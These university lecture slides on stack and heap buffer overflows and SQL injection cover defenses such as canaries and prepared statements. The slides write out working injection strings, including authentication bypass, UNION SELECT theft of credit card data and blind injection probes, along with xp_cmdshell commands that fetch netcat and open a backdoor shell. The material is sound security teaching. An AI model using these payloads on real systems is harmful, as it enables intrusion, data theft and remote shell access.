Buffer Overflow Attack

CS4264 Fall 2016
• An opening for a part-time programmer
  – Department of chemical engineering (http://xingroup.org)
  – Development of a mobile app using JavaScript.
  – Leverage the existing materials databases and machine-learning algorithms for accelerating materials discovery and outreach/education.
  – Next summer and might be extended for another year

• How to Apply?
  – Contact Dr. Hongliang Xin
  – hxin@vt.edu, Goodwin 271
Outline

• Chapters to Read: Chapter 3.4

• Tue: Buffer Overflow Attack
  – Stack Overflow Attack
  – Heap Overflow Attack
  – Defense

• Thu: SQL Injection
Slides credit to Breno de Medeiros

BUFFER OVERFLOW
Buffer Overflow Attacks

• What is a buffer
  • A memory space in which data/code can be held
  • Buffer has finite capacity, often predefined size

• Buffer Overflows
  • User input data is too long
  • The program does not check the buffer boundary
  • Data overflows the boundary, overwrite adjacent data/code

• Buffer Overflow Attack
  • By carefully replacing the data/code in the buffer, attackers can take control of a process or escalate privileges
char sample[10];
for(i=0;i<=9;i++)
    sample[i]= ‘A’;
sample[10]= ‘B’;

(a) Affects user’s data

Buffer Overflow
Buffer Overflow

• Modern attacks on heap and JavaScript
  – Morris Worm exploited fingerd on VAX

• “I know that it is my fate to be killed in a (real) crash due to a buffer overflow software bug. I feel like some of the NASA engineers before the Challenger disaster.” – **Henry Baker (2000)**

• `gets`, `sprintf`, `strcat`, `strcpy`, `vsprintf` – common unsafe C routines

Non-malicious code causes failures (see P225 in P&P)
  in ‘69 Arpanet had a hardcoded limit of 347 nodes
  in ‘89 a 348-th node was added and overflow the table

http://xahlee.org/UnixResource_dir/_/buffer_overflow.html
Some Definitions and Types of Flaws

- **Program security flaw**: unexpected behavior
- **Error**: human mistake
- **Fault**: incorrect command, process, data definition
- **Failure**: departure from system’s required behavior

A taxonomy of program flaws

- **Intentional flaws**
  - Malicious
  - Non-malicious

- **Inadvertent flaws**
  - Validation, domain, serialization/aliasing
  - Identification/authentication
  - Boundary condition violation
  - Logic errors

Landwehr [LAN93]
How does it work?

STACK OVERFLOW
ReCap: Process’s Memory Region

<table>
<thead>
<tr>
<th>Stack</th>
<th>Heap</th>
</tr>
</thead>
<tbody>
<tr>
<td>Direction of stack growth</td>
<td>Direction of heap growth</td>
</tr>
</tbody>
</table>

**Stack:** Last in, first out (LIFO)
- PUSH: add an element at top
- POP: remove element at top

**for procedure call – jump and return**

Store "control data"
- local variables
- parameters to functions
- Return values/addresses

**Heap:** dynamically allocated memory, e.g., using malloc.
- initialized variables
- uninitialized variables
- code instructions

For static variables

**Text region:** code, read-only data
//example1.c:
void function(int a, int b, int c) {
    char buffer1[5];
    char buffer2[10];
    return;
}

void main() {
    function(1,2,3);
}
Stack Frame, Stack Pointers, Stack Overflow

- **Stack frame**
  - Consecutive stack space for each calling function
  - Each for a function that has not yet finished execution

- **Stack pointer**: memory location of the top of the stack
  - Stored in a register

- **Stack overflow**
  - Occurs when information is written into a variable on a stack
  - But the size of this information exceeds what was allocated
An example of stack and stack frame

// ex.c
int main() {
    int x = foo(10);
    printf("the value of x = %d\n", x);
    return 0;
}

int foo(int i) {
    int ii = i + i;
    int iii = bar(ii);
    int iii = iii;
    return iii;
}

int bar(int j) {
    int jj = j + j;
    return jj;
}

What stack looks like at "int iii = iii;" in foo()
void function(char *str) {
    char buffer[16];
    strcpy(buffer,str);
}

void main() {
    char large_string[256];
    int i; for( i = 0; i < 255; i++)
        large_string[i] = 'A';
    function(large_string);
}

Return address is overwritten and becomes 0x41414141
You get segmentation fault
Worse, attacker can change flow of program

str* is a large string, size 256
Buffer size is only 16
Stack overwritten by ‘A’ (0x41414141...)
Observing stack overflow in action
– try this at home

```c
#include <stdio.h>
int main() {
    while(1) foo();
}

int foo() {
    unsigned int yy = 0;
    char buffer[5]; char ch; int i = 0;
    printf("Say something: ");
    while ((ch = getchar()) != '\n') buffer[i++] = ch;
    buffer[i] = '\0';
    printf("You said: %s\n", buffer);
    printf("The variable yy: %d\n", yy);
    return 0;
}
```

gcc -fno-stack-protector buffover2.c -o buffover2
Stack overflow attacks

• Goals of attackers
  – Take control of the flow of the target program
  – Execute malicious code, control the system (e.g., open shell as root)

• Typical attack method
  – **Overwrite the “return address”** of the current function call
  – Once the current function finishes, execution of attacker’s code with the privilege of the original process

• What attackers need to do
  – Insert malicious code into the target processes (argv, config)
  – **Guess** the location of the return address in the stack
    o NOP sledding: increase the size of the target by padding NOP instructions
    o Trampolining: some libraries use certain registers that store “jump” address
Stack Smashing

- Attacker gives a long string with malicious code
- The string length being much larger than the space allocated
- Overflow into the stack and overwrites the return address
- The return address now points to the beginning of the malicious code
A Variation Of Buffer Overflow

Web applications: overflow when passing parameters to a routine

http://www.somesite.com/userinout.asp?
param1=(808)555-1212&param2=1987Jan17

- Web developer may just allocate 20 bytes for param1.
- How does the program handle long phone number, e.g., 1000 digits?
- Additional data overflows to the next region in the memory...
An Attack against SSH Communications
(via an integer overflow bug)

```c
void do_authentication(char *user, ...) {
    int auth = 0;
    ...
    while (!auth) {
        /* Get a packet from the client */
        type = packet_read();
        switch (type) {
            ...
            case SSH_CMSG_AUTH_PASSWORD:
                if (auth_password(user, password))
                    auth = 1;
                case ...
        }
        if (auth) break;
    }
    /* Perform session preparation. */
    do_authenticated(...);
}
```

---

Slide from Shuo Chen et al. at USENIX Security Symposium, Baltimore, MD, 2005
A Countermeasure: Reducing Data Lifetime for Security

Original SSHD

```c
int auth = 0;
while (!auth) {
    type = packet_read();
    switch (type) {
        case CMSG_AUTH_PASSWORD:
            if (auth_password(passwd))
                auth = 1;
        case ...
    }
    if (auth) break;
}
do_authenticated(pw);
```

Modified SSHD

```c
int auth = 0;
while (!auth) {
    type = packet_read();
    auth = 0;
    switch (type) {
        case CMSG_AUTH_PASSWORD:
            if (auth_password(passwd))
                auth = 1;
        case ...
    }
    if (auth) break;
}
do_authenticated(pw);
```

Lifetime of `auth` flag
Very similar to stack overflow

HEAP OVERFLOW
Heap Overflow

• Heap
  – Dynamically allocated memory space in run time
  – Heap and Stack sits in different locations in the memory
  – (Stack is statically allocated during compile time)

• Heap buffer overflow
  – User input data is much bigger than allocated space
  – Corrupt/overwrite internal data structures (e.g. linked list pointers)
  – There is not return address to overwrite
  – (Stack overflow often changes “control data” such as return address)

• Examples
  – iOS jailbreaking uses heap overflows to gain arbitrary code execution
  – Drive-by download: download malware without user knowledge
Buffer overflow, stack overflow

DEFENSE
Defense against stack buffer overflow

• Canaries: a known value on the stack just before the return address – canary word
  – Check the canary when function is to return
  – Stack guard by Crispin Cowan (a gcc extension)

• Non-executable stacks
  – Malicious code in the stack cannot be executed

• Address randomization
  – Harder to guess the location of code/return address

• Compiler boundary checking
  – In Java
  – Java JVM may still be susceptible to buffer overflow attacks
Another reason to validate user input data
Slides credit to Neil Daswani and Adam Doupé

SQL INJECTION
 Produce More Secure Code

- Operating system can only do so much to reduce risks …

- Programmers need to write safer programs
  - Always check legitimacy of user supplied data

- SQL Injection
  - Web server treats user supplied “data” as “code”
  - Execute the SQL query with malicious data (code)
  - Compromise back-end database
SQL Injection: Real-world Threat

- TJX (March 2007)
  - owns TJ Maxx, Marshalls, and other dept stores
  - attacks exploited WEP used at branches
  - over 47 million credit card (CC) #s dating back to 2002

- CardSystems (June 2005)
  - credit card payment processing company: out of business
  - 263,000 CC #s stolen from database via SQL Injection
  - 43 million CC #s stored unencrypted / compromised

- Enter "sql injection" on news.google.com for more...

Hack that targeted Arizona voter database was easy to prevent, expert says
Impact of SQL Injection

1. Leakage of sensitive information
2. Reputation decline
3. Modification of sensitive information
4. Loss of control of db server
5. Data loss
6. Denial of service
1. A website has a form, e.g., login
2. Attacker submits form with SQL exploit data
3. Server builds string with exploit data
4. Server sends SQL query to DB
5. DB executes query, including exploit, sends data back
6. Server returns data to user.
SQL Injection Example

Web Browser

Username & Password

Web Server

Database

Normal Query

SELECT passwd
FROM USERS
WHERE uname IS '$username'
SQL Injection Example

Attacker Provides This Input
SQL Injection Example

Username & Password

Web Browser

Web Server

Database

Malicious Query

```
SELECT passwd
FROM USERS
WHERE uname IS ';
DROP TABLE USERS;
-- '
```

Eliminates all user accounts
HI, THIS IS YOUR SON’S SCHOOL. WE'RE HAVING SOME COMPUTER TROUBLE.

OH, DEAR – DID HE BREAK SOMETHING? IN A WAY–

DID YOU REALLY NAME YOUR SON Robert'); DROP TABLE Students;-- ?

OH, YES. LITTLE BOBBY TABLES, WE CALL HIM.

WELL, WE'VE LOST THIS YEAR’S STUDENT RECORDS. I HOPE YOU'RE HAPPY.

AND I HOPE YOU'VE LEARNED TO SANITIZE YOUR DATABASE INPUTS.
SQL Injection Example

View pizza order history:<br>
<form method="post" action="...">
Month
<select>
<option name="month" value="1">Jan</option>
...<option name="month" value="12">Dec</option>
</select>
<p>
<input type=submit name=submit value=View>
</form>
SELECT pizza, toppings, quantity, order_day
FROM orders
WHERE userid=4123
AND order_month=10

**Type 2 Attack**
For order_month parameter, attacker could input

```
<option name="month" value="0 OR 1=1">Dec</option>
```

**Malicious Query**
WHERE userid=4123
AND order_month=0 OR 1=1

WHERE condition is always true!
Gives attacker access to other users’ private data!
SQL Injection Example

All User Data Compromised
SQL Injection Example

A more damaging breach of user privacy:

0 AND 1=0
UNION SELECT cardholder, number, exp_month, exp_year
FROM creditcards

Attacker is able to
- Combine the results of two queries
- Empty table from first query with the sensitive credit card info of all users from second query
SQL Injection Example

Credit Card Info Compromised
SQL Injection: By-pass Authentication

• The following code is a bad practice of authentication

```sql
sqlString = "select USERID from USER
    where USERID = '" & userId & '\'
    and PWD = '" & pwd & '""
result = GetQueryResult(sqlString)
If(result = "") then
    userHasBeenAuthenticated = False
Else
    userHasBeenAuthenticated = True
End If
```
SQL Injection: By-pass Authentication

- User ID: `OR ''=''`
- Password: `OR ''=''`
- In this case the sqlString would be:

```
select USERID from USER where USERID = `OR``=``and PWD = ` OR``=``
```

```
select USERID from USER where USERID = `` OR``=``and PWD = `` OR``=``
    TRUE   TRUE
```

- Which would certainly set the userHasBenAuthenticated variable to true.
To Achieve the Same Attack

User ID: ` OR `=` --
Password: abc

Because anything after the -- will be ignore, the injection will work even without any specific injection into the password predicate
Different Types of SQL Injections

- SQL injection can modify any type of query
  - SELECT statements
    - SELECT * FROM accounts WHERE user=‘${u}’ AND pass=‘${p}’
  - INSERT statements
    - INSERT INTO accounts (user, pass) VALUES (‘${u}’, ‘${p}’) 
    - Note that in this case one has to figure out how many values to insert
  - UPDATE statements
    - UPDATE accounts SET pass=‘${np}’ WHERE user= ‘${u}’ AND pass=‘${p}’
  - DELETE statements
    - DELETE * FROM accounts WHERE user=‘${u}’
Determining Number/Types of Parameters

• Determine the **number of columns** in a query
  – Send progressively longer NULL columns
  – Until the correct query is returned
    o UNION SELECT NULL
    o UNION SELECT NULL, NULL
    o UNION SELECT NULL, NULL, NULL

• Determine **type of columns**
  – E.g., to determine if a column that has a string type
    o UNION SELECT ‘foo’, NULL, NULL
    o UNION SELECT NULL, ‘foo’, NULL
    o UNION SELECT NULL, NULL, ‘foo’
Determining Table and Column Names

- **Oracle**
  - `user_objects` table: information about the tables for an application
  - `user_tab_column` table: names of the columns associated with a table

- **MS-SQL**
  - `sysobjects` table: information about the tables in the database
  - `syscolumns` table: names of the columns associated with a table

- **MySQL**
  - `information_schema.tables`: information about the table names
  - `information_schema.columns`: names of the columns in a table
Blind SQL Injection

• A typical countermeasure is to prohibit the display of error messages → no feedback to attacker’s queries

• But, is this enough?
  – No, a web application may still be vulnerable to blind SQL injection
  – Attackers has other “side-channels” to get feedback

• Example: a news site
  – Press releases are accessed with pressRelease.jsp?id=5
  – A SQL query is created and sent to the database:
    o select title, description FROM pressReleases where id=5;
  – All error messages are filtered by the application
Blind SQL Injection

• How to inject statements into the application and exploit it?
• We do not receive feedback from the application

• So we can use a trial-and-error approach
  – Inject pressRelease.jsp?id=5 AND 1=1
  – The SQL query is created and sent to the database:
    o select title, description FROM pressReleases where id=5 AND 1=1
  – If the service is vulnerable, the same page should be returned
  – If the service is not vulnerable, and input is carefully validated: id=5 AND 1=1 would be treated as id="5 AND 1=1" → “page not found”, cannot do blind injection
Blind SQL Injection

• When testing for vulnerability, we know 1=1 is always true
  – If the same record is returned, the statement must have been true
  – For example, we can ask server if the current user is “h4x0r”:
    o pressRelease.jsp?id=5 AND user_name()=‘h4x0r’

• By combining subqueries and functions, we can ask more complex questions (e.g., extract the name of a database table character by character)
  – pressRelease.jsp?id=5 AND SUBSTRING(user_name(), 1, 1) < '?'
Beyond Data Retrieval

Downloading Files

exec master..xp_cmdshell 'tftp 192.168.1.1
GET nc.exe c:\nc.exe'

Backdoor with Netcat

exec master..xp_cmdshell 'nc.exe -e cmd.exe
-l -p 53'

Direct Backdoor w/o External Cmds

UTL_TCP.OPEN_CONNECTION('192.168.0.1', 2222,
  1521)
//charset: 1521
//port: 2222
//host: 192.168.0.1
Preventing SQL Injection

• Whitelisting
  – Why? Blacklisting chars doesn’t work:
    o Forget to filter out some characters
    o Could prevent valid input (e.g. username O’Brien)
  – Allow well-defined set of safe values:
    \[A-Za-z0-9]*\[0-1]\[0-9\\]
  – Valid input set defined through reg. expressions
  – Can be implemented in a web application firewall

• Escaping
  – For valid string inputs like username o’connor, use escape characters. Ex:
    escape(o’connor) = o”’connor (only works for string inputs)
Second Order SQL Injection

• SQL code is injected into an application, but the SQL statement is invoked at a later point in time
  – e.g., Guestbook, statistics page, etc.

• Even if application escapes single quotes, second order SQL injection might be possible
  – Attacker sets user name to: \texttt{john'--}, application safely escapes value to
    \texttt{john\'--} on insertion into the database
  – At a later point, attacker changes password of a user called “\texttt{john}”
    o update users set password= … where username =\texttt{'john'--}
Preventing SQL Injection (Con’t)

• Developers must never allow client-supplied data to modify SQL statements

• Stored procedures
  – Isolate applications from SQL
  – All SQL statements required by the application are stored procedures on the database server

• Prepared statements
  – Statements are compiled into SQL statements before user input is added
SQL Injection – Prevention

• Prepared statements
  – Specify structure of query then provide arguments
• Prepared statements – example

```php
$stmt = $db->prepare("select * from `users` where `username` = :name and `password` = SHA1( CONCAT(:pass, `salt`) ) limit 1;" );
$stmt->bindParam(':name', $name);
$stmt->bindParam(':pass', $pass);
```

• Sanitize inputs